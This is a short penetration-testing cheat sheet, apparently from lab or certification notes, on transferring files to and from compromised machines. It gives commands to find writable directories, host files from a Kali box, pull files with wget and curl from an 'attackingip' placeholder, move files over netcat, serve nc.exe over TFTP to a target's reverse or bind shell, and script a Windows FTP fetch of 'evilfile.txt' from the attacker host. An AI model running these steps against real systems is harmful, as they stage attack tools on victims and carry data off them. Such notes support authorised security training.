FILE TRANSFER.md

File Transfers

Find writable directories in Linux

find / -type d \( -perm -g+w -or -perm -o+w \) -exec ls -adl {} \;

To host files in Kali

python -m SimpleHTTPServer 80

To download files

wget http://attackingip/file.ext
# or
curl http://attackingip/file.ext > file.ext

Netcat File Transfer

# Setup a listener to receive file
nc -nlvp 55555 > file

# Now send the file
nc iptoreceivefile 55555 < file 

TFTP UDP Transfer

# Create directory to serve files
mkdir /tftp

# Start atftpd daemon and listen on UDP port 69 using /tftp as root
atftpd --daemon --port 69 /tftp

# Copy file to share to host directory
cp /usr/share/windows-binaries/nc.exe /tftp/

# In your reverse/bind shell on the target machine, change 10.11.1.140 to attacking ip
tftp -i 10.11.1.140 GET nc.exe

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FTP File Transfer

On attacking machine, setup an ftp server

apt-get install pure-ftpd

Download and run the following setup file, it will create an ftp user 'bedford' setup-ftp

Change user permissions, run file and set password on request

chmod 755
./setup-ftp

Copy and paste the following code into your Windows target bind/reverse shell

echo open 10.11.1.140 21> ftp.txt
echo user bedford>> ftp.txt
echo urpasswd>> ftp.txt
echo bin>> ftp.txt
echo GET evilfile.txt>> ftp.txt
echo bye>> ftp.txt

Now in your Windows bind/reverse shell run the ftp.txt file ftp -v -n -s:ftp.txt

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